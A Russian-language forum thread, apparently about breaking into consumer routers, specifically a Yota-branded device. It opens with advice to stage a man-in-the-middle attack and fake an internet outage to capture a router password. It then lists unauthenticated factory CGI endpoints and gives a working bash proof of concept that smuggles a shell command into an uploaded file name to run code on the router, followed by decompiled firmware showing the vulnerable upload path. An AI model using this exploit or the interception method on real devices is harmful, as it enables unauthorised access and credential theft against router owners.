Думаю, не составит труда поставить перехватывающий свитч между сетью провайдера и роутером. Устройте атаку MITM, сымитируйте проблему с инетом, и перехватите пароль.
Процессор (чаще MIPS, реже ARM) + оперативка + постоянная память (разделена на части: загрузчик/прошивка/конфиг) + WLAN чип (иногда интегрирован в процессор) + аппаратный коммутатор + другие опциональные интерфейсы, например USB. И всё это распаяно на материнке, у которой бывает консольный отладочный порт и/или JTAG.
не все. иначе-бы АНБ не разрабатывало инструмент взлома роутеров о котором говорилось несколькими постами выше, и который выложила в паблик шадоу брокер. и китайцы точно уж не переводили-бы роутерскан на китайский язык, а тем более не использовали его для демонстрации уязвимостей на своих конференциях по безопасности.
Чисто технологически, в подобном железе трудно оставить бекдоры. Роутерные процессоры в разы слабее компьютерных, и заточены под RISC архитектуры, описанные выше. Удваиваю вопрос.
Нашёл только USB MAC'и: http://IP/cgi-bin/sysconf.cgi?page=mfg&action=28 - "lanaddr" http://IP/cgi-bin/sysconf.cgi?page=mfg&action=29 - "hostaddr"
Всё же лучше, чем без маков. Может быть позже выяснится, что их можно инкрементить до WLAN. hostaddr = lanaddr + 1 (пока данных по этим роутерам очень мало)
Нашёл интересный эксплойт... правда пока нет баша под рукой, чтобы протестировать. https://github.com/m0rb/olday/blob/master/clearshock
Выяснилось, что нельзя Spoiler: POC Code: #!/bin/bash CPE=192.168.15.1:88 PAYLOAD='$(export d=${PATH:0:1}; .${d}ssiget -l about > ${d}www${d}asp${d}temp.asp)' touch "${PAYLOAD}" curl -X POST -H 'Expect:' -H 'Connection: close' -F "file=@\"$PAYLOAD\"" "http://$CPE/cgi-bin/sysconf.cgi?page=mfg&action=12" rm -f "${PAYLOAD}" curl "http://$CPE/cgi-bin/sysconf.cgi?page=temp.asp&action=request" PAYLOAD='$(export d=${PATH:0:1}; rm -f ${d}www${d}asp${d}temp.asp)' touch "${PAYLOAD}" curl -X POST -H 'Expect:' -H 'Connection: close' -F "file=@\"$PAYLOAD\"" "http://$CPE/cgi-bin/sysconf.cgi?page=mfg&action=12" rm -f "${PAYLOAD}" Spoiler: Some decompiled functions PHP: #include <stdio.h>#include <strings.h>int main(int argc, const char **argv, const char **envp){ char page[52]; int i, var_C; char *ptr; var_C = 0; ptr = get_query(stdin); init_cgi(ptr); ; strcpy(page, get_cgi("page")); var_48 = getenv("REMOTE_ADDR"); var_44 = getenv("REQUEST_METHOD"); if (strstr(page, "..") != NULL || strchr(page, "/") != NULL) { fwrite("Content-Type: text/html\r\n\r\n", 1, 0x1B, stdout); fwrite("Wrong Page.", 1, 0xB, stdout); init_cgi(0); free(ptr); return 0; } if (strcmp(page, "mfg") == 0) { sub_4014B8(stdout); init_cgi(0); free(ptr); return 0; } if (strcasecmp(get_cgi("action"), "request") == 0) { webs_write(page, stdout); init_cgi(0); free(ptr); return 0; } i = 0; while (1) { if (strcmp(page, off_41A5A0[2 * i]) == 0) { off_41A5A0[2 * i + 1](page, var_C, stdout); break; } if (off_41A5A0[2 * i] == 0) break; ++i; } if (dword_41A7C0 != 0) webs_redirect(0, "reboot", 0, stdout); else if (dword_41A7C4 != 0) system("(sleep 3 && reboot) >/dev/null 2>&1 &"); if (page[0] != '\0') webs_redirect(0, page, var_C, stdout); init_cgi(0); free(ptr); return 0;}void sub_4014B8(FILE *out_stream){ char *action; char cmd[0x400]; action = get_cgi("action"); fwrite("Content-Type: text/html\r\n\r\n", 1, 0x1B, out_stream); if (strcmp(action, "11") == 0) { memset(cmd, 0, 0x400); sprintf(cmd, "ipkg -f %s remove telnetd > /dev/null", "/etc/conf/app/ipkg.conf"); system(cmd); } else if (strcmp(action, "12") == 0) { unlink("/mnt/jffs2/ipkg/lists/openwmx"); unlink("/mnt/jffs2/ipkg/lists/devicesw"); unlink("/tmp/upgrade_success"); ipkg_install(stdin); } else if (strcmp(action, "1") == 0) { fputs(sub_4040C0("/Yota_VERSION"), out_stream); } else if (strcmp(action, "16") == 0) { fputs(sub_404230("serial"), out_stream); } else if (strcmp(action, "19") == 0) { fputs(sub_404230("hid"), out_stream); } else if (strcmp(action, "20") == 0) { fputs(sub_404230("cid"), out_stream); } else if (strcmp(action, "21") == 0) { fputs(sub_404230("pid"), out_stream); } else if (strcmp(action, "22") == 0) { fputs(sub_404230("mid"), out_stream); } else if (strcmp(action, "24") == 0) { fputs(sub_4013B4("cd /usr/factory; ./mp_tool imei read"), out_stream); } else if (strcmp(action, "28") == 0) { fputs(sub_404230("lanaddr"), out_stream); } else if (strcmp(action, "29") == 0) { fputs(sub_404230("hostaddr"), out_stream); } else if (strcmp(action, "30") == 0) { fputs(sub_4013B4("cd /usr/factory; ./mp_tool led on"), out_stream); } else if (strcmp(action, "31") == 0) { fputs(sub_4013B4("cd /usr/factory; ./mp_tool led off"), out_stream); } else if (strcmp(action, "32") == 0) { fputs(sub_4013B4("cd /usr/factory; ./mp_tool imsi read"), out_stream); } return;}int ipkg_install(FILE *in_stream){ char fname[0x100], cmd[0x80], verif_res[0xA]; FILE *chk_stream; int i_ret; chk_stream = NULL; i_ret = 1; update_upload_status("Downloading"); if (sub_408B4C(fname, in_stream) == 0) { i_ret = 2; update_upload_status("DownloadFail"); goto loc_exit; } update_upload_status("Installing"); sprintf(cmd, "/bin/ipkg_verify.sh %s > /dev/null", fname); system(cmd); chk_stream = fopen("/tmp/ipkg.chk", "r"); if (chk_stream == NULL) { i_ret = 2; update_upload_status("InstallFail"); goto loc_exit; } if (fgets(verif_res, 0xA, chk_stream) == 0) { i_ret = 2; update_upload_status("InstallFail"); goto loc_exit; } if (strcmp(verif_res, "1") != 0) { i_ret = 2; update_upload_status("InstallFail"); goto loc_exit; } if (strstr(fname, ".ipk") != NULL) { sprintf(cmd, "/bin/ipkg -f /etc/conf/app/ipkg.conf install '%s' > /tmp/ipkg.log 2>&1", fname); system(cmd); } i_ret = 0; loc_exit: if (chk_stream != NULL) fclose(chk_stream); unlink(fname); return i_ret;}int sub_408B4C(char *fname, FILE *in_stream){ int i_ret, unread_len; char boundary[0x80]; i_ret = 0; if (sub_4085BC(fname, boundary, &unread_len, in_stream) != 0 && sub_40820C(fname, boundary, unread_len, in_stream) != 0) { i_ret = 1; } if (i_ret == 0) unlink(fname); return i_ret;}int sub_4085BC(char *fname, char *boundary, int *p_unread_len, FILE *in_stream){ int left_bytes; char *content_type, *p_name_start, *p_name_end, *p_path_delim; char buffer[0x1000]; p_name_end = NULL; if (strncasecmp(getenv("REQUEST_METHOD"), "POST", 4) != 0) return 0; if (boundary != NULL) { content_type = getenv("CONTENT_TYPE"); if (strncasecmp(content_type, "multipart/form-data; boundary=", 0x1E) != 0) return 0; sprintf(boundary, "--%s", content_type + 0x1E); } if (getenv("CONTENT_LENGTH") == NULL) return 0; left_bytes = strtoul(getenv("CONTENT_LENGTH"), 0, 0); if (fname != NULL) { memcpy(fname, "/upload/", 9); while (left_bytes != 0) { bzero(buffer, 0x1000); if (fgets(buffer, 0x1000, in_stream) == 0) return 0; left_bytes -= strlen(buffer); if (strncasecmp(buffer, "Content-Disposition:", 0x14) != 0) continue; if (strcasestr(buffer, "name=\"file\"") == NULL && strcasestr(buffer, "name=\"updateFwFile\"") == NULL) continue; p_name_start = strstr(buffer, "filename=\""); if (p_name_start == NULL) continue; p_path_delim = strrchr(p_name_start, '\\'); if (p_path_delim == NULL) { p_path_delim = strrchr(p_name_start, '/'); } if (p_path_delim == NULL) p_name_start += 0xA; else p_name_start = p_path_delim + 1; p_name_end = strchr(p_name_start, '"'); if (p_name_end != NULL) *p_name_end = '\0'; strcat(fname, p_name_start); break; } } while (left_bytes != 0) { if (fgets(buffer, 0x1000, in_stream) == 0) return 0; left_bytes -= strlen(buffer); if (strcmp(buffer, "\n") == 0) break; if (strcmp(buffer, "\r\n") == 0) break; } if (p_unread_len != NULL) *p_unread_len = left_bytes; return 1;}